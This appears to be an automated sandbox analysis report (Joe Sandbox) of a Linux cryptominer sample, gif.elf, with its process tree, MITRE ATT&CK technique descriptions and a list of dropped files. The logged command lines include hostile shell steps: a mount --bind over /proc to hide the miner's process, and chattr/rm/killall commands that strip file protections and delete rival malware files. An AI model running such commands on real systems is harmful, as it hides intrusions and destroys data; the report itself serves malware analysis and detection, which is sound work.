MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Chronological Activities

Analysis Process: .miner PID: 5689, Parent PID: 5686

General

Start time (UTC):	10:40:57
Start date (UTC):	08/03/2025
Path:	/tmp/.miner
Arguments:	-
File size:	1827416 bytes
MD5 hash:	44de739950eb4a8a3552b4e1987e8ec2

Chronological Activities

Analysis Process: .miner PID: 5690, Parent PID: 5689

General

Start time (UTC):	10:40:57
Start date (UTC):	08/03/2025
Path:	/tmp/.miner
Arguments:	-
File size:	1827416 bytes
MD5 hash:	44de739950eb4a8a3552b4e1987e8ec2

Chronological Activities

Analysis Process: sh PID: 5690, Parent PID: 5689

General

Start time (UTC):	10:40:57
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	sh -c "mount --bind /proc/1 /proc/5689"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5692, Parent PID: 5690

General

Start time (UTC):	10:40:58
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: mount PID: 5692, Parent PID: 5690

General

Start time (UTC):	10:40:58
Start date (UTC):	08/03/2025
Path:	/usr/bin/mount
Arguments:	mount --bind /proc/1 /proc/5689
File size:	55528 bytes
MD5 hash:	92b20aa8b155ecd3ba9414aa477ef565

Chronological Activities

Analysis Process: gif.elf PID: 5691, Parent PID: 5640

General

Start time (UTC):	10:40:57
Start date (UTC):	08/03/2025
Path:	/tmp/gif.elf
Arguments:	-
File size:	27356 bytes
MD5 hash:	df39997c92ecbb40234b4d54a9964db3

Chronological Activities

Analysis Process: sh PID: 5691, Parent PID: 5640

General

Start time (UTC):	10:40:57
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	sh -c "chattr -ia /tmp/python > /dev/null 2>&1 && rm -rf /tmp/python > /dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5693, Parent PID: 5691

General

Start time (UTC):	10:40:58
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: chattr PID: 5693, Parent PID: 5691

General

Start time (UTC):	10:40:58
Start date (UTC):	08/03/2025
Path:	/usr/bin/chattr
Arguments:	chattr -ia /tmp/python
File size:	14656 bytes
MD5 hash:	fae2c2deaeca3bbf906fb8034304ad32

Chronological Activities

Analysis Process: gif.elf PID: 5718, Parent PID: 5640

General

Start time (UTC):	10:40:58
Start date (UTC):	08/03/2025
Path:	/tmp/gif.elf
Arguments:	-
File size:	27356 bytes
MD5 hash:	df39997c92ecbb40234b4d54a9964db3

Chronological Activities

Analysis Process: sh PID: 5718, Parent PID: 5640

General

Start time (UTC):	10:40:58
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	sh -c "chattr -ia chattr -ia /usr/bin/bsd-port/getty > /dev/null 2>&1 && rm -rf /usr/bin/bsd-port/getty > /dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5719, Parent PID: 5718

General

Start time (UTC):	10:40:58
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: chattr PID: 5719, Parent PID: 5718

General

Start time (UTC):	10:40:58
Start date (UTC):	08/03/2025
Path:	/usr/bin/chattr
Arguments:	chattr -ia chattr -ia /usr/bin/bsd-port/getty
File size:	14656 bytes
MD5 hash:	fae2c2deaeca3bbf906fb8034304ad32

Chronological Activities

Analysis Process: gif.elf PID: 5721, Parent PID: 5640

General

Start time (UTC):	10:40:58
Start date (UTC):	08/03/2025
Path:	/tmp/gif.elf
Arguments:	-
File size:	27356 bytes
MD5 hash:	df39997c92ecbb40234b4d54a9964db3

Chronological Activities

Analysis Process: sh PID: 5721, Parent PID: 5640

General

Start time (UTC):	10:40:58
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	sh -c "chattr -ia /usr/bin/.sshd > /dev/null 2>&1 && rm -rf /usr/bin/.sshd > /dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5722, Parent PID: 5721

General

Start time (UTC):	10:40:58
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: chattr PID: 5722, Parent PID: 5721

General

Start time (UTC):	10:40:58
Start date (UTC):	08/03/2025
Path:	/usr/bin/chattr
Arguments:	chattr -ia /usr/bin/.sshd
File size:	14656 bytes
MD5 hash:	fae2c2deaeca3bbf906fb8034304ad32

Chronological Activities

Analysis Process: gif.elf PID: 5723, Parent PID: 5640

General

Start time (UTC):	10:40:58
Start date (UTC):	08/03/2025
Path:	/tmp/gif.elf
Arguments:	-
File size:	27356 bytes
MD5 hash:	df39997c92ecbb40234b4d54a9964db3

Chronological Activities

Analysis Process: sh PID: 5723, Parent PID: 5640

General

Start time (UTC):	10:40:58
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	sh -c "chattr -ia /etc/rc.d/init.d/selinux > /dev/null 2>&1 && rm -rf /etc/rc.d/init.d/selinux > /dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5724, Parent PID: 5723

General

Start time (UTC):	10:40:58
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: chattr PID: 5724, Parent PID: 5723

General

Start time (UTC):	10:40:58
Start date (UTC):	08/03/2025
Path:	/usr/bin/chattr
Arguments:	chattr -ia /etc/rc.d/init.d/selinux
File size:	14656 bytes
MD5 hash:	fae2c2deaeca3bbf906fb8034304ad32

Chronological Activities

Analysis Process: gif.elf PID: 5725, Parent PID: 5640

General

Start time (UTC):	10:40:58
Start date (UTC):	08/03/2025
Path:	/tmp/gif.elf
Arguments:	-
File size:	27356 bytes
MD5 hash:	df39997c92ecbb40234b4d54a9964db3

Chronological Activities

Analysis Process: sh PID: 5725, Parent PID: 5640

General

Start time (UTC):	10:40:58
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	sh -c "chattr -ia /etc/rc.d/init.d/DbSecuritySp > /dev/null 2>&1 && rm -rf /etc/rc.d/init.d/DbSecuritySpt > /dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5726, Parent PID: 5725

General

Start time (UTC):	10:40:58
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: chattr PID: 5726, Parent PID: 5725

General

Start time (UTC):	10:40:58
Start date (UTC):	08/03/2025
Path:	/usr/bin/chattr
Arguments:	chattr -ia /etc/rc.d/init.d/DbSecuritySp
File size:	14656 bytes
MD5 hash:	fae2c2deaeca3bbf906fb8034304ad32

Chronological Activities

Analysis Process: gif.elf PID: 5727, Parent PID: 5640

General

Start time (UTC):	10:40:58
Start date (UTC):	08/03/2025
Path:	/tmp/gif.elf
Arguments:	-
File size:	27356 bytes
MD5 hash:	df39997c92ecbb40234b4d54a9964db3

Chronological Activities

Analysis Process: sh PID: 5727, Parent PID: 5640

General

Start time (UTC):	10:40:58
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	sh -c "chattr -ia /usr/bin/sh.sh > /dev/null 2>&1 && rm -rf /usr/bin/sh.sh > /dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5728, Parent PID: 5727

General

Start time (UTC):	10:40:58
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: chattr PID: 5728, Parent PID: 5727

General

Start time (UTC):	10:40:58
Start date (UTC):	08/03/2025
Path:	/usr/bin/chattr
Arguments:	chattr -ia /usr/bin/sh.sh
File size:	14656 bytes
MD5 hash:	fae2c2deaeca3bbf906fb8034304ad32

Chronological Activities

Analysis Process: gif.elf PID: 5729, Parent PID: 5640

General

Start time (UTC):	10:40:58
Start date (UTC):	08/03/2025
Path:	/tmp/gif.elf
Arguments:	-
File size:	27356 bytes
MD5 hash:	df39997c92ecbb40234b4d54a9964db3

Chronological Activities

Analysis Process: sh PID: 5729, Parent PID: 5640

General

Start time (UTC):	10:40:58
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	sh -c "chattr -ia /etc/cron.hourly/cron.sh > /dev/null 2>&1 && rm -rf /etc/cron.hourly/cron.sh > /dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5730, Parent PID: 5729

General

Start time (UTC):	10:40:58
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: chattr PID: 5730, Parent PID: 5729

General

Start time (UTC):	10:40:58
Start date (UTC):	08/03/2025
Path:	/usr/bin/chattr
Arguments:	chattr -ia /etc/cron.hourly/cron.sh
File size:	14656 bytes
MD5 hash:	fae2c2deaeca3bbf906fb8034304ad32

Chronological Activities

Analysis Process: gif.elf PID: 5731, Parent PID: 5640

General

Start time (UTC):	10:40:58
Start date (UTC):	08/03/2025
Path:	/tmp/gif.elf
Arguments:	-
File size:	27356 bytes
MD5 hash:	df39997c92ecbb40234b4d54a9964db3

Chronological Activities

Analysis Process: sh PID: 5731, Parent PID: 5640

General

Start time (UTC):	10:40:58
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	sh -c "chattr -ia /lib/udev/udev /lib/udev/debug > /dev/null 2>&1 && rm -rf /lib/udev/udev /lib/udev/debug > /dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5732, Parent PID: 5731

General

Start time (UTC):	10:40:58
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: chattr PID: 5732, Parent PID: 5731

General

Start time (UTC):	10:40:58
Start date (UTC):	08/03/2025
Path:	/usr/bin/chattr
Arguments:	chattr -ia /lib/udev/udev /lib/udev/debug
File size:	14656 bytes
MD5 hash:	fae2c2deaeca3bbf906fb8034304ad32

Chronological Activities

Analysis Process: gif.elf PID: 5733, Parent PID: 5640

General

Start time (UTC):	10:40:58
Start date (UTC):	08/03/2025
Path:	/tmp/gif.elf
Arguments:	-
File size:	27356 bytes
MD5 hash:	df39997c92ecbb40234b4d54a9964db3

Chronological Activities

Analysis Process: sh PID: 5733, Parent PID: 5640

General

Start time (UTC):	10:40:58
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	sh -c "chattr -ia /usr/bin/xrig > /dev/null 2>&1 && rm -rf /usr/bin/xrig 1> /dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5734, Parent PID: 5733

General

Start time (UTC):	10:40:58
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: chattr PID: 5734, Parent PID: 5733

General

Start time (UTC):	10:40:58
Start date (UTC):	08/03/2025
Path:	/usr/bin/chattr
Arguments:	chattr -ia /usr/bin/xrig
File size:	14656 bytes
MD5 hash:	fae2c2deaeca3bbf906fb8034304ad32

Chronological Activities

Analysis Process: gif.elf PID: 5735, Parent PID: 5640

General

Start time (UTC):	10:40:58
Start date (UTC):	08/03/2025
Path:	/tmp/gif.elf
Arguments:	-
File size:	27356 bytes
MD5 hash:	df39997c92ecbb40234b4d54a9964db3

Chronological Activities

Analysis Process: sh PID: 5735, Parent PID: 5640

General

Start time (UTC):	10:40:58
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	sh -c "killall .sshd xrig getty > /dev/null 2>&1 "
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5736, Parent PID: 5735

General

Start time (UTC):	10:40:58
Start date (UTC):	08/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: killall PID: 5736, Parent PID: 5735

General

Start time (UTC):	10:40:58
Start date (UTC):	08/03/2025
Path:	/usr/bin/killall
Arguments:	killall .sshd xrig getty
File size:	32024 bytes
MD5 hash:	cd2adedbee501869ac691b88af39cd8b

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
Tactics:	Exfiltration
Data Sources:	Application Log: Application Log Content, Cloud Storage: Cloud Storage Access, Command: Command Execution, File: File Access, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.
Tactics:	Impact
Data Sources:	File: File Creation, File: File Deletion, File: File Metadata, File: File Modification, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report gif.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/etc/cron.d/watch

/etc/cron.hourly/prelink

/etc/hosts

/root/.ssh/authorized_keys

/root/.ssh/authorized_keys2

/run/mountinfo

/run/mountinfo.log

/tmp/.miner

Static File Info

General

Static ELF Info

ELF header

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

System Behavior

Analysis Process: gif.elf PID: 5638, Parent PID: 5557

General

Chronological Activities

Analysis Process: gif.elf PID: 5639, Parent PID: 5638

Linux Analysis Report
gif.elf